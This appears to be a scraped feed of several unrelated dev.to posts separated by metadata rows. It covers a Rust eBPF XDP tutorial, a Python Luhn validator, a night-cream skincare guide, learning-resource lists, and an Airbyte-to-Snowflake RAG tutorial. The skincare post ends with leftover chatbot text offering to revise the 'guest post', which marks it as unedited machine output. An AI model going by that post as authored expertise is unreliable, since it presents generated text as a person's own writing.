$ sudo cat /sys/kernel/debug/tracing/trace_pipe
ping-75348 [000] ..s21 47214.233803: bpf_trace_printk: packet received!
ping-75348 [000] ..s21 47214.233815: bpf_trace_printk: packet received!
ping-75348 [007] ..s21 47215.236704: bpf_trace_printk: packet received!
ping-75348 [007] ..s21 47215.236737: bpf_trace_printk: packet received!
Let's return to the previous step where we generated the code. Run the
`cargo generate` leave the generated code and don't change it
#![no_std]
#![no_main]
use aya_ebpf::{bindings::xdp_action, macros::xdp, programs::XdpContext};
use aya_log_ebpf::info;
#[xdp]
pub fn hello_world(ctx: XdpContext) -> u32 {
match try_hello_world(ctx) {
Ok(ret) => ret,
Err(_) => xdp_action::XDP_ABORTED,
}
}
fn try_hello_world(ctx: XdpContext) -> Result<u32, u32> {
info!(&ctx, "received a packet");
Ok(xdp_action::XDP_PASS)
}
#[panic_handler]
fn panic(_info: &core::panic::PanicInfo) -> ! {
unsafe { core::hint::unreachable_unchecked() }
}
Build and running it:
cargo xtask build-ebpf
cargo build
RUST_LOG=info cargo xtask run -- -i lo
Then running ping in another terminal:
ping 127.0.0.1
You should see this output in the window where you ran `cargo xtask run`
[2024-06-08T04:24:17Z INFO hello_world] Waiting for Ctrl-C...
[2024-06-08T04:24:21Z INFO hello_world] received a packet
[2024-06-08T04:24:21Z INFO hello_world] received a packet
[2024-06-08T04:24:22Z INFO hello_world] received a packet
...
This programs functions in the same way as the first one, but
there are significant differences in the code.
It looks more like idiomatic rust with only one unsafe block in
the panic handler.
However looking at a dump of the byte code:
$ llvm-objdump --section=xdp -S target/bpfel-unknown-none/debug/hello-world
target/bpfel-unknown-none/debug/hello-world: file format elf64-bpf
Disassembly of section xdp:
0000000000000000 <hello_world>:
0: r6 = r1
1: r7 = 0
2: *(u32 *)(r10 - 4) = r7
3: r2 = r10
4: r2 += -4
5: r1 = 0 ll
7: call 1
8: if r0 == 0 goto +166 <LBB0_2>
9: *(u8 *)(r0 + 2) = r7
10: r2 = 11
11: *(u8 *)(r0 + 1) = r2
12: r1 = 1
13: *(u8 *)(r0 + 0) = r1
14: r3 = r0
15: r3 += 3
16: r4 = 0 ll
18: r5 = *(u8 *)(r4 + 0)
19: *(u8 *)(r3 + 0) = r5
20: r5 = *(u8 *)(r4 + 1)
21: *(u8 *)(r3 + 1) = r5
22: r5 = *(u8 *)(r4 + 2)
23: *(u8 *)(r3 + 2) = r5
24: r5 = *(u8 *)(r4 + 3)
25: *(u8 *)(r3 + 3) = r5
26: r5 = *(u8 *)(r4 + 4)
27: *(u8 *)(r3 + 4) = r5
28: r5 = *(u8 *)(r4 + 5)
29: *(u8 *)(r3 + 5) = r5
30: r5 = *(u8 *)(r4 + 6)
31: *(u8 *)(r3 + 6) = r5
32: r5 = *(u8 *)(r4 + 7)
33: *(u8 *)(r3 + 7) = r5
34: r5 = *(u8 *)(r4 + 8)
35: *(u8 *)(r3 + 8) = r5
36: r5 = *(u8 *)(r4 + 9)
37: *(u8 *)(r3 + 9) = r5
38: r5 = *(u8 *)(r4 + 10)
39: *(u8 *)(r3 + 10) = r5
40: r3 = 3
41: *(u8 *)(r0 + 18) = r3
42: *(u8 *)(r0 + 17) = r3
43: r3 = 2
44: *(u8 *)(r0 + 14) = r3
45: *(u8 *)(r0 + 20) = r7
46: *(u8 *)(r0 + 19) = r2
47: *(u8 *)(r0 + 16) = r7
48: *(u8 *)(r0 + 15) = r1
49: r3 = r0
50: r3 += 21
51: r5 = *(u8 *)(r4 + 0)
52: *(u8 *)(r3 + 0) = r5
53: r5 = *(u8 *)(r4 + 1)
54: *(u8 *)(r3 + 1) = r5
55: r5 = *(u8 *)(r4 + 2)
56: *(u8 *)(r3 + 2) = r5
57: r5 = *(u8 *)(r4 + 3)
58: *(u8 *)(r3 + 3) = r5
59: r5 = *(u8 *)(r4 + 4)
60: *(u8 *)(r3 + 4) = r5
61: r5 = *(u8 *)(r4 + 5)
62: *(u8 *)(r3 + 5) = r5
63: r5 = *(u8 *)(r4 + 6)
64: *(u8 *)(r3 + 6) = r5
65: r5 = *(u8 *)(r4 + 7)
66: *(u8 *)(r3 + 7) = r5
67: r5 = *(u8 *)(r4 + 8)
68: *(u8 *)(r3 + 8) = r5
69: r5 = *(u8 *)(r4 + 9)
70: *(u8 *)(r3 + 9) = r5
71: r5 = *(u8 *)(r4 + 10)
72: *(u8 *)(r3 + 10) = r5
73: *(u8 *)(r0 + 33) = r2
74: *(u8 *)(r0 + 34) = r7
75: r2 = 4
76: *(u8 *)(r0 + 32) = r2
77: r3 = r0
78: r3 += 35
79: r4 = 11 ll
81: r5 = *(u8 *)(r4 + 0)
82: *(u8 *)(r3 + 0) = r5
83: r5 = *(u8 *)(r4 + 1)
84: *(u8 *)(r3 + 1) = r5
85: r5 = *(u8 *)(r4 + 2)
86: *(u8 *)(r3 + 2) = r5
87: r5 = *(u8 *)(r4 + 3)
88: *(u8 *)(r3 + 3) = r5
89: r5 = *(u8 *)(r4 + 4)
90: *(u8 *)(r3 + 4) = r5
91: r5 = *(u8 *)(r4 + 5)
92: *(u8 *)(r3 + 5) = r5
93: r5 = *(u8 *)(r4 + 6)
94: *(u8 *)(r3 + 6) = r5
95: r5 = *(u8 *)(r4 + 7)
96: *(u8 *)(r3 + 7) = r5
97: r5 = *(u8 *)(r4 + 8)
98: *(u8 *)(r3 + 8) = r5
99: r5 = *(u8 *)(r4 + 9)
100: *(u8 *)(r3 + 9) = r5
101: r5 = *(u8 *)(r4 + 10)
102: *(u8 *)(r3 + 10) = r5
103: *(u8 *)(r0 + 56) = r1
104: r1 = 8
105: *(u8 *)(r0 + 54) = r1
106: r1 = 16
107: *(u8 *)(r0 + 49) = r1
108: *(u8 *)(r0 + 66) = r7
109: *(u8 *)(r0 + 63) = r7
110: *(u8 *)(r0 + 62) = r7
111: *(u8 *)(r0 + 61) = r7
112: *(u8 *)(r0 + 60) = r7
113: *(u8 *)(r0 + 59) = r7
114: *(u8 *)(r0 + 58) = r7
115: *(u8 *)(r0 + 57) = r7
116: *(u8 *)(r0 + 55) = r7
117: *(u8 *)(r0 + 52) = r7
118: *(u8 *)(r0 + 51) = r7
119: *(u8 *)(r0 + 50) = r7
120: *(u8 *)(r0 + 48) = r7
121: *(u8 *)(r0 + 47) = r2
122: r1 = 17
123: *(u8 *)(r0 + 65) = r1
124: *(u8 *)(r0 + 64) = r1
125: r1 = 6
126: *(u8 *)(r0 + 53) = r1
127: r1 = 5
128: *(u8 *)(r0 + 46) = r1
129: r1 = r0
130: r1 += 67
131: r2 = 22 ll
133: r3 = *(u8 *)(r2 + 0)
134: *(u8 *)(r1 + 0) = r3
135: r3 = *(u8 *)(r2 + 1)
136: *(u8 *)(r1 + 1) = r3
137: r3 = *(u8 *)(r2 + 2)
138: *(u8 *)(r1 + 2) = r3
139: r3 = *(u8 *)(r2 + 3)
140: *(u8 *)(r1 + 3) = r3
141: r3 = *(u8 *)(r2 + 4)
142: *(u8 *)(r1 + 4) = r3
143: r3 = *(u8 *)(r2 + 5)
144: *(u8 *)(r1 + 5) = r3
145: r3 = *(u8 *)(r2 + 6)
146: *(u8 *)(r1 + 6) = r3
147: r3 = *(u8 *)(r2 + 7)
148: *(u8 *)(r1 + 7) = r3
149: r3 = *(u8 *)(r2 + 8)
150: *(u8 *)(r1 + 8) = r3
151: r3 = *(u8 *)(r2 + 9)
152: *(u8 *)(r1 + 9) = r3
153: r3 = *(u8 *)(r2 + 10)
154: *(u8 *)(r1 + 10) = r3
155: r3 = *(u8 *)(r2 + 11)
156: *(u8 *)(r1 + 11) = r3
157: r3 = *(u8 *)(r2 + 12)
158: *(u8 *)(r1 + 12) = r3
159: r3 = *(u8 *)(r2 + 13)
160: *(u8 *)(r1 + 13) = r3
161: r3 = *(u8 *)(r2 + 14)
162: *(u8 *)(r1 + 14) = r3
163: r3 = *(u8 *)(r2 + 15)
164: *(u8 *)(r1 + 15) = r3
165: r3 = *(u8 *)(r2 + 16)
166: *(u8 *)(r1 + 16) = r3
167: r1 = r6
168: r2 = 0 ll
170: r3 = 4294967295 ll
172: r4 = r0
173: r5 = 84
174: call 25
0000000000000578 <LBB0_2>:
175: r0 = 2
176: exit
So there's a lot here, we will defer a full explanation till later, note that there are now
two system calls on line 7 and line 174:
7: call 1
...
174: call 25
`call 1` corresponds to `map_lookup_elem` in [bpf.h](https://elixir.bootlin.com/linux/v5.3.7/source/include/uapi/linux/bpf.h#L2719)
`call 25` corresponding to ``perf_event_output` in [bpf.h](https://elixir.bootlin.com/linux/v5.3.7/source/include/uapi/linux/bpf.h#L2743)
Much of the rest of the byte code is setting up the stack to pass arguments.
# Summary
- Seen how to set up and deploy a basic hello world program
- print out a message when a packet is received
- compared two different hello world programs
| stevelatif |
1,881,489 | Python Guide: Credit Card Number Validation Using Luhn's Algorithm | Hey, it's me, Silver, and today we are going to build a simple program that validates credit card... | 0 | 2024-06-09T05:04:44 | https://dev.to/agspades/python-guide-credit-card-number-validation-using-luhns-algorithm-jdp | python, beginners, tutorial, algorithms | Hey, it's me, Silver, and today we are going to build a simple program that validates credit card numbers using the Luhn algorithm. This is a practical project for anyone learning Python and looking to understand input validation, control flow, and basic algorithm implementation.
## What is the Luhn Algorithm?
The Luhn algorithm, also known as the "modulus 10" or "mod 10" algorithm, is a simple checksum formula used to validate various identification numbers, such as credit card numbers. It was created by IBM scientist Hans Peter Luhn and is widely used today.
Let's take an example to ease our trouble:
Consider the test credit card number generated by [PayPal](https://developer.paypal.com/api/rest/sandbox/card-testing/): "**4032038996592097**".
The algorithm works as follows:
1. Starting from the rightmost digit, double every second digit.
2. If doubling a digit results in a number greater than 9, then add the digits to get a single-digit number (for example, 18: 1 + 8 = 9, 16: 1 + 6 = 7).
3. Now add all the numbers, touched and untouched, at even places and odd places.
4. If the total modulo 10 is equal to 0, the number is valid. We have got 80 here, so our card number is valid.
Let's translate this logic into a simple Python program. You can check out the final results on [GitHub](https://github.com/AgSpades/luhn-credit-card-validator) too.
## Implementing the Luhn Algorithm in Python
Let's dive into the code. Below is a Python script that implements the Luhn algorithm to validate credit card numbers. Additionally, the script ensures that the input is at least a 15-digit number.
Why 15 digits, you say? That's the least number of digits a valid credit card can have. Most credit card companies issue credit cards with 16 digits, but there are some exceptions; for example, American Express issues cards with 15 digits.
Well, let's start.
```python
def main():
card_number = input("Enter credit card number: ").strip()
if is_valid_card(card_number):
print("Valid credit card number.")
else:
print("Invalid credit card number.")
def luhn_check(card_number):
def digits_of(n):
return [int(d) for d in str(n)]
digits = digits_of(card_number)
odd_digits = digits[-1::-2]
even_digits = digits[-2::-2]
checksum = sum(odd_digits)
for d in even_digits:
checksum += sum(digits_of(d * 2))
return checksum % 10 == 0
def is_valid_card(card_number):
if not card_number.isdigit() or len(card_number) < 15:
return False
return luhn_check(card_number)
if __name__ == "__main__":
main()
```
## How It Works
1. **Input Validation**: The `is_valid_card` function checks if the input is a string of at least 15 digits using `card_number.isdigit()` and `len(card_number) >= 15`.
2. **Luhn Algorithm**: The `luhn_check` function processes the digits using the Luhn algorithm:
- It splits the number into individual digits using the internal function `digits_of`.
- Then we create two separate lists of `even_digits` and `odd_digits`. We perform necessary operations using `checksum` on both the lists.
- Finally, we check if the total modulo 10 is 0.
3. **Output**: Based on the result of the Luhn check and the length validation, the program prints whether the credit card number is valid or not.
## Running the Program
To run the program, follow these steps:
1. Copy the script into a file named `cc-validator.py`.
2. Open a terminal and navigate to the directory containing the script.
3. Run the script using Python:
```sh
python cc-validator.py
```
## Conclusion
Congrats on building your own credit card number validator!
The Luhn algorithm is a powerful tool that showcases how simple mathematical rules can be applied to real-world problems. This project is part of a series of validation projects aimed at helping learners solidify their Python programming skills. You can check out similar validation projects [here](https://github.com/AgSpades/validation-projects).
Thanks for reading! Feel free to share your thoughts below.
---
#### Footnotes:
- [GitHub Profile](https://github.com/AgSpades)
- Cover Photo by [rupixen](https://unsplash.com/@rupixen?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash) on [Unsplash](https://unsplash.com/photos/person-using-laptop-computer-holding-card-Q59HmzK38eQ?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash). | agspades |
1,881,791 | How to Care for Your Skin with Night Cream | How to Care for Your Skin with Night Cream Proper skincare is essential for maintaining a... | 0 | 2024-06-09T05:02:47 | https://dev.to/mala_khan/how-to-care-for-your-skin-with-night-cream-17fb | ### How to Care for Your Skin with Night Cream
Proper skincare is essential for maintaining a healthy and youthful complexion. One of the key steps in any skincare routine is the application of night cream. Night creams are formulated to nourish, repair, and rejuvenate the skin while you sleep. Here’s a comprehensive guide on how to care for your skin using night cream.
#### 1. **Choose the Right Night Cream**
Selecting the appropriate night cream for your skin type and concerns is crucial. Here are some tips:
- **Dry Skin:** Look for rich, hydrating creams with ingredients like hyaluronic acid, glycerin, and ceramides.
- **Oily/Acne-Prone Skin:** Opt for lightweight, non-comedogenic formulas containing salicylic acid or retinol.
- **Aging Skin:** Anti-aging night creams with retinoids, peptides, and antioxidants can help reduce wrinkles and improve skin elasticity.
- **Sensitive Skin:** Choose soothing formulas with calming ingredients like aloe vera, chamomile, and niacinamide.
#### 2. **Cleanse Your Face Thoroughly**
Before applying night cream, make sure your face is clean. Use a gentle cleanser suitable for your skin type to remove makeup, dirt, and excess oil. This ensures that your night cream can penetrate effectively and work its magic.
#### 3. **Apply Toner (Optional)**
If you use a toner, apply it after cleansing. Toners can help balance the skin’s pH, tighten pores, and remove any residual impurities. Allow the toner to dry before moving on to the next step.
#### 4. **Use a Serum (Optional)**
Serums are concentrated treatments that target specific skin concerns, such as dark spots, fine lines, or dehydration. Apply a serum suited to your needs and let it absorb completely.
#### 5. **Apply the Night Cream**
- **Quantity:** Use a pea-sized amount of night cream. Too much product can clog pores and feel heavy on the skin.
- **Application:** Gently massage the night cream onto your face and neck using upward, circular motions. This helps improve blood circulation and ensures even coverage.
- **Eye Area:** Be cautious around the delicate eye area. If you use an eye cream, apply it before your night cream.
#### 6. **Consistency is Key**
For best results, incorporate the night cream into your nightly skincare routine. Consistency will help your skin adjust and benefit from the product’s active ingredients.
#### 7. **Additional Tips**
- **Patch Test:** If you’re trying a new night cream, perform a patch test to check for any adverse reactions.
- **Stay Hydrated:** Drink plenty of water throughout the day to keep your skin hydrated from within.
- **Healthy Lifestyle:** Maintain a balanced diet, get enough sleep, and avoid excessive sun exposure to support overall skin health.
#### Conclusion
Using a night cream is a vital step in achieving and maintaining healthy skin. By selecting the right product for your skin type, following a consistent skincare routine, and leading a healthy lifestyle, you can wake up to a refreshed and glowing complexion. Remember, taking care of your skin is an investment in your long-term beauty and confidence.
---
Feel free to modify this article as needed for your guest post. If you have any specific guidelines or additional points you'd like to include, let me know!
 | mala_khan | |
1,881,790 | Web Component | Membuat web komponen atau suatu yang sangat penasaran agar bisa terwujud karena terkait dengan materi... | 0 | 2024-06-09T05:01:00 | https://dev.to/andy_pembelajar_597b4fc71/w-5p0 | Membuat web komponen atau suatu yang sangat penasaran agar bisa terwujud karena terkait dengan materi yang berkaitan dengan alat pengembangan website yaitu mudah dan cepat.
Contohnya web [ku](https://andyux01.github.io/work/tugas-remidi/)
Di situ dibuat menggunakan drupal yang statis dengan mudah dan digabung dengan web komponen dari HAX. | andy_pembelajar_597b4fc71 | |
1,878,854 | ✨ 6 website learning gems you should visit! | Introduction So you're a software developer? OK that's great. You are able to create... | 22,289 | 2024-06-09T05:00:00 | https://dev.to/thexdev/5-website-learning-gems-you-should-visit-2pn5 | webdev, beginners, tutorial, devjournal |
## Introduction
So you're a software developer? OK that's great. You are able to create application and make 💸💸💸, but have you ever thought for long terms scenarios or do your really aware of it?
For five years career in software development, creating application is not about to get your job done or delivering the software for launching event. It isn't 🙅♂️.
If you are a good developer, you should aware to the post-development stage of your software...
🤨: Come on, wheres my "learning gems"?! The title is not about engineering post!
OK OK I know it's not about engineering post. Fine!
But...
Let's enhance our knowledge with these awesome learning materials! From how to architect you application, writing maintainable code, and even knowing how the CPU actually works!
Btw, let's kudos 🙇♂️ to all authors who made these every good learning materials!
## [Patterns.dev](https://www.patterns.dev/)
Patterns.dev is created by Addy Osmani and Lydia Hallie to help you architect your website to the next level. Patterns.dev will help you to design, rendering, and performance patterns for building powerful web apps with vanilla JavaScript or modern frameworks.
## [Putting the “You” in CPU](https://cpu.land/)
Next, we have the CPU Land!
Have you ever thought how CPU is actually works under the hood?
🤨: Why I should think of it if it's already works under the hood?
Ayo, bro. Come on, are you serious? You won't be replaced by AI, right?
That's why you should know how CPU execute your program!
Fortunately this website got you covered. Here you can learn how multiprocessing works, what system calls really are, how computers manage memory with hardware interrupts, and how Linux loads executables.
All thanks to Lexi Mattick who created this website!
## [Refactoring Guru](https://refactoring.guru/)
🤨: Argh, I don't want to touch this codebase. It's fragile!
Hey, your wrote this code two years ago...
🤨: Ah, sorry. I mean yeah... why you're not giving me some solutions, Akbar?
Me? no man, but Refactoring Guru can help you!
Alexander Shvets already built cool website to refactor your 💩 codebase. This website will change your perspective of how you can built something that maintainable for long-terms.
## [The Component Gallery](https://component.gallery/)
Confused about naming your UI components and how it should looks like? No worries, I often facing this issue. But luckily theres Iain Bean who created The Component Gallery website!
Here, we are not presented with pre-build UI components rather it gives you what components should looks like and what exactly that for.
## [Learn Git Brancing](https://learngitbranching.js.org/)
I have a meme for you, go check it out...
But, it just meme unless you know how to use Git properly. If you don't, no worries. Just Learn Git Branching!
Peter Cottle created this website to help you learn Git interactively. You know, because it's easier to understand something if you can visualize it.
## [The Twelve-Factor App](https://www.12factor.net/)
And the last, The Twelve-Factor App!
You'll learn how to build SaaS or simply a service in microservice cluster. Here you are not learn about what technology used, rather the ideology or concept to make your apps portable and easy to deploy anywhere!
Let's say thanks to Adam Wiggins for his dedication.
## Conclusion
Alright, now you already know. Don't give up and keep your learning spirit. In the end it's all just someone's writing, but what makes it valuable is when you apply it and it works.
If you have any suggestions, don't hesitate to write them in the comments section below!
See ya!
 | thexdev |
1,852,290 | Nobody Likes Broken Code: The Programmer's Lament (and How to Fix It) | In the digital world, we can say code is the lifeblood. It's the invisible language that powers our... | 27,357 | 2024-06-09T05:00:00 | https://dev.to/shieldstring/nobody-likes-broken-code-the-programmers-lament-and-how-to-fix-it-55i | webdev, programming, productivity, beginners | In the digital world, we can say code is the lifeblood. It's the invisible language that powers our favorite apps, websites, and even the devices we hold in our hands. But just like a car with a faulty engine, broken code can bring everything screeching to a halt. It can lead to frustrating user experiences, wasted time for developers, and a whole lot of programmer grumbling.
**The Many Faces of Broken Code:**
* **Bugs and Errors:** These are the classic culprits - unexpected behaviors, crashes, and features that simply don't work as intended. Users encounter them as glitches, freezes, and error messages, leaving them bewildered and annoyed.
* **Security Vulnerabilities:** Broken code can create security holes, making applications susceptible to attacks and data breaches. This not only puts users at risk but also damages the reputation of the software and the developers behind it.
* **Inefficiency and Performance Issues:** Unoptimized code can be slow, sluggish, and drain battery life. Nobody wants to wait for an app to load or see their phone struggling to keep up.
**Why Does Code Break?**
There are many reasons code can go awry:
* **Human Error:** Even the most skilled programmers make mistakes. Typos, logic errors, and misunderstandings can all lead to malfunctioning code.
* **Requirements Creep:** Sometimes, features get added or changed throughout the development process. This can lead to spaghetti code – a tangled mess that's difficult to maintain and debug.
* **Incomplete Testing:** Rushing through the testing phase can leave hidden bugs undetected until users encounter them.
**The Cost of Broken Code:**
The impact of broken code goes beyond user frustration. It can lead to:
* **Lost Productivity:** Developers spend valuable time debugging and fixing issues instead of creating new features.
* **Financial Loss:** Bugs and security vulnerabilities can damage a company's reputation and result in lost revenue.
* **Security Risks:** Data breaches can be costly, both financially and in terms of user trust.
**How to Write Better Code (and Avoid the Headaches):**
The good news: with the right practices, developers can significantly reduce the risk of broken code:
* **Focus on Clean Code:** Write clear, concise, and well-structured code that's easy to understand and maintain.
* **Test Early and Often:** Implement unit testing and integration testing throughout the development process to catch bugs early on.
* **Version Control:** Use a version control system like Git to track changes and revert to previous versions if needed.
* **Continuous Integration and Deployment (CI/CD):** Automate testing and deployment processes to streamline development and catch errors before they reach production.
* **Code Reviews:** Get other developers to review your code, as fresh eyes can spot potential issues you might have missed.
**Conclusion:**
Nobody enjoys dealing with broken code. By prioritizing cleaner code, thorough testing, and collaborative practices, developers can minimize bugs, improve software quality, and create a more enjoyable experience for everyone – users and developers alike. Remember, happy developers lead to happy code!
| shieldstring |
1,881,789 | The Science Behind Successful Learning Strategies | Introduction The process of learning is complex and multifaceted. It involves a countless... | 0 | 2024-06-09T04:59:51 | https://dev.to/generalknw/the-science-behind-successful-learning-strategies-mc2 | ## Introduction
The process of learning is complex and multifaceted. It involves a countless of cognitive functions and neurological processes. Understanding the science behind learning can enhance our ability to acquire and retain knowledge. It can also help us develop effective learning strategies.
## Types of basic learning
People also ask for what are the 3 basic type of learning? Visual, auditory, and kinesthetic learning are three common learning styles. They refer to the preferred way of receiving and processing information
1. - Visual learners prefer to see and read information. They benefit from diagrams, charts, and written notes.
2. - Auditory learners prefer to hear information. They benefit from lectures, discussions, and audio recordings.
3. - Kinesthetic learners prefer to learn by doing. They benefit from hands-on activities, experiments, and real-world applications.
To read complete article please go through: **[Types of basic learning](https://generalknowledgequestion.com/successful-learning-strategies/)** | generalknw | |
1,881,788 | How to Build: RAG on Snowflake Infra and Snowflake Cortex with Airbyte Data | Introduction Investing in cryptocurrency has been around for a while. However, people... | 0 | 2024-06-09T04:55:34 | https://dev.to/harmaton/how-to-build-rag-on-snowflake-infra-with-airbyte-data-7gp |
## Introduction
Investing in cryptocurrency has been around for a while. However, people have been making blind investments without solid knowledge of the topic. By getting a comprehensive understanding of the underlying principles, market dynamics, and potential risks and rewards associated with cryptocurrencies, investors can make more informed decisions. This guide aims to make use of analytical data of Bitcoin, exploring its potential as an investment, the factors influencing its value, and the strategies for managing and mitigating risks.
In this tutorial, we'll walk you through the process of using Airbyte to pass a document titled "Is Bitcoin a Good Investment" to Snowflake Cortex for processing. This process, called retrieval-augmented generation, leverages Snowflake's LLM functions to seamlessly consume and analyze the data. Eventually, you'll have a comprehensive understanding of how to extract valuable insights from this [document](https://drive.google.com/file/d/1dq18yNBYmwwrG9DqWIn_89ZxnV-7CgmC/view?usp=drive_link), leveraging advanced data tools to better inform your cryptocurrency investment decisions.
## TL;DR
We will be moving airbyte data into snowflake Cortex, which allows us to perform like cosine similarity search. Finally, we can get some insights from our document.
## Understanding RAG
LLMs are fun are very helpful when you are interested in general information. Unfortunately, we cannot say the same when it comes to domain-specific information and thats where they start to hallucinate. By providing LLms with up-to-date information from any data source, you address this limitation since the LLM can now use this data. This process is called Retrieval-Augmented Generation (RAG).
## Prerequisites
I provided my document download link but feel free to use your own custom source.
1. **Data Source**: In this tutorial we use a [Google Drive] (https://drive.google.com/drive/u/0/home) folder
2. **Airbyte Cloud Account** : Log in [here] (https://cloud.airbyte.com/)
3. **SnowFlake Account**: Ensure Cortex functions are enabled. Log in [here] (https://www.snowflake.com/login/)
4. **OPENAI SERVICE APIKEY**: Ensure you do not have a rate limit to continue. Access yours [here] (https://platform.openai.com/api-keys)
### **STEP 1:** Setup Airbyte Data Source
In [Airbyte cloud source connectors](https://cloud.airbyte.com/workspaces/8c067edf-8d9b-4f6c-b391-8c1bbeb83600/source), select the google drive connector as your source, paste your folder url (mandatory) and create a stream with the Document File Type Format (Experimental). Finally, test it to ensure it's perfectly set up.
### **STEP 2:** Setup Snowflake Cortex Destination
To setup a Snowflake instance you need to set up entities (warehouse, database, schema, user, and role) in the Snowflake console as explained in this [documentation] (https://docs.airbyte.com/integrations/destinations/snowflake).
Basically, run the following worksheet in the snowflake console (ensure that you are running all statements).
```
AIRBYTE-- set variables (these need to be uppercase)
set airbyte_role = 'AIRBYTE_ROLE';
set airbyte_username = 'AIRBYTE_USER';
set airbyte_warehouse = 'AIRBYTE_WAREHOUSE';
set airbyte_database = 'AIRBYTE';
set airbyte_schema = 'AIRBYTE_SCHEMA';
-- set user password
set airbyte_password = 'YOUR PASSWORD';
begin;
-- create Airbyte role
use role securityadmin;
create role if not exists identifier($airbyte_role);
grant role identifier($airbyte_role) to role SYSADMIN;
-- create Airbyte user
create user if not exists identifier($airbyte_username) password = $airbyte_password default_role = $airbyte_role default_warehouse = $airbyte_warehouse;
grant role identifier($airbyte_role) to user identifier($airbyte_username);
-- change role to sysadmin for warehouse / database steps
use role sysadmin;
-- create Airbyte warehouse
create warehouse if not exists identifier($airbyte_warehouse) warehouse_size = xsmall warehouse_type = standard auto_suspend = 60 auto_resume = true initially_suspended = true;
-- create Airbyte database
create database if not exists identifier($airbyte_database);
-- grant Airbyte warehouse access
grant USAGE on warehouse identifier($airbyte_warehouse) to role identifier($airbyte_role);
-- grant Airbyte database access
grant OWNERSHIP on database identifier($airbyte_database) to role identifier($airbyte_role);
commit;
begin;
USE DATABASE identifier($airbyte_database);
-- create schema for Airbyte data
CREATE SCHEMA IF NOT EXISTS identifier($airbyte_schema);
commit;
begin;
-- grant Airbyte schema access
grant OWNERSHIP on schema identifier($airbyte_schema) to role identifier($airbyte_role);
commit;
```
This will spin up a database, ready to store your data. Move back to Airbyte cloud destination connectors and setup Snowflake Cortex. Make sure to setup your credentials with the following format based on the script above. Finally, test the source to make sure its working as expected.
* chunk size - Different embedding models have different token limitations. In this tutorial I used 1000 for Open AI embedding option.The best chunking is also dependent on the data you are dealing with.
* Embedding Model - Paste your OpenAI api key and save.
* Setup the Indexes as shown below;
### **STEP 3:** Move Data
Next, We create a connection and sync the data to access it in snowflake. Here is an example of successful connections after sync;
### **STEP4:** Explore data in Snowflake
At this point you should be able to see the data in snowflake.
The following columns will be available in your database,
tables have the following columns
* DOCUMENT_ID - unique based on primary key
* CHUNK_ID - randomly generated uuid
* DOCUMENT_CONTENT - text context from source
* METADATA - metadata from source
* EMBEDDING - Vector representation of the document_content
Here is a snippet of how one of my results appear.
# **STEP 5:** Building the RAG with Snowflake Cortex Functions.
RAG heavily relies on semantic comaprison technique. The measurement of similarity between vectors is a fundamental operation in semantic comparison. This operation is used to find the top N closest vectors to a query vector, which can be used for semantic search. Vector search also enables developers to improve the accuracy of their generative AI responses by providing related documents to a large language model.
The key elements in the RAG process are :
* **Generate Embeddings from the query** : Converting a question into a vector array.
Ideally, You can either embed data using OpenAI, Cohere, OpenAI compatible or Fake(from Airbyte Cloud UI). Then you have to embed the question with the appropriate method distict from each model.
In cases you use Fake to embed the data, you will need to replace the fake embedding in Snowflake with the Snowflake Cortex embedding.
You can use the following functions to embed data instantly on Snowflake Cortex:
1. [EMBED_TEXT_768](https://docs.snowflake.com/en/sql-reference/functions/embed_text-snowflake-cortex) : Creates a vector embedding of 768 dimensions.
2. [EMBED_TEXT_1024](https://docs.snowflake.com/en/sql-reference/functions/embed_text_1024-snowflake-cortex) : Creates a vector embedding of 1024 dimensions.
If you used OpenAI the data embedding model, you will generate the embeddings using OpenAI embedding function.
* **Similarity Search** to find matching chunks
Snowflake Cortex provides three vector similarity functions:
[VECTOR_INNER_PRODUCT](https://docs.snowflake.com/en/sql-reference/functions/vector_inner_product)
[VECTOR_L2_DISTANCE](https://docs.snowflake.com/en/sql-reference/functions/vector_l2_distance)
[VECTOR_COSINE_SIMILARITY](https://docs.snowflake.com/en/sql-reference/functions/vector_cosine_similarity) :We will use this function in our demo.
* **Leverage In-built Snowflake Cortex Completion** : This will find matching chunks.
Learn how to manage previlages in Snowflake to allow you to use Cortex functions like complete [here](https://other-docs.snowflake.com/en/native-apps/consumer-granting-privs#grant-the-imported-privileges-privilege-on-the-snowflake-database)
```
# use Snowflake's Cortex in-build completion to find matching chunks.
def get_completion_from_snowflake(question, document_chunks: List[str], model_name):
print(f"\nSending chunks to Snowflake (LLM: {model_name}) for completion...")
conn = get_db_connection()
cur = conn.cursor()
chunks = "\n\n".join(document_chunks)
query = f"""
SELECT snowflake.cortex.complete(
'{model_name}',
CONCAT(
'You are a cryptocurrency investment advisor and specialise in bitcoin. Answer the question based on the context. Do not use any other information. Be concise. When returning a list of items, please enumerate description on separate lines','Context: ',
$$
{chunks}
{question} $$,
'Answer: '
)
) as response;"""
cur.execute(query)
result = cur.fetchall()
cur.close()
conn.close()
# TO-DO: better parsing here
return result[0][0].strip()
```
Finally, get the response.
To get a better grasp of the logic, visit the [Google Colab](https://github.com/airbytehq/quickstarts/blob/main/vector_store_integration/RAG_using_Snowflake_Cortex.ipynb) to use OpenAI embeddings and [codelab](https://quickstarts.snowflake.com/guide/asking_questions_to_your_own_documents_with_snowflake_cortex/index.html#0) to use fake model.
**DEMO of Our Crypto Advisor RAG**
# Conclusion
This tutorial provides a step-by-step guide on leveraging Airbyte data in Snowflake infra, Snowflake Cortex and LLM's to perform RAG operations. As we saw in our demo, the measurement of similarity between vectors is a fundamental operation in semantic comparison. By following the tutorial, you can easily utilize valuable data to gain high quality insights.
| harmaton | |
1,881,787 | JS Inheritance - Part 2: Factory Functions vs. Classes | Exploring the differences between factory functions and classes in JavaScript, and why you might prefer one over the other. | 0 | 2024-06-09T04:47:25 | https://dev.to/huudyy/js-inheritance-part-2-factory-functions-vs-classes-7o | javascript, inheritance, prototypes, functional | ---
title: JS Inheritance - Part 2: Factory Functions vs. Classes
published: true
description: Exploring the differences between factory functions and classes in JavaScript, and why you might prefer one over the other.
tags: [JavaScript, Inheritance, Prototypes, FunctionalProgramming]
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8r3hr597c2eozk8sgcth.jpg
---
## JS Inheritance - Part 2: Factory Functions vs. Classes
## Introduction
Last time, we took a look at classes and prototypes in JavaScript. We compared constructor functions to classes and discussed how the `class` keyword introduced in ES6 aimed to simplify object-oriented programming in JavaScript. However, the introduction of classes did not solve all the problems associated with constructor functions. Today, we will explore different ways to declare an object in JavaScript and see if there is a need to use classes at all.
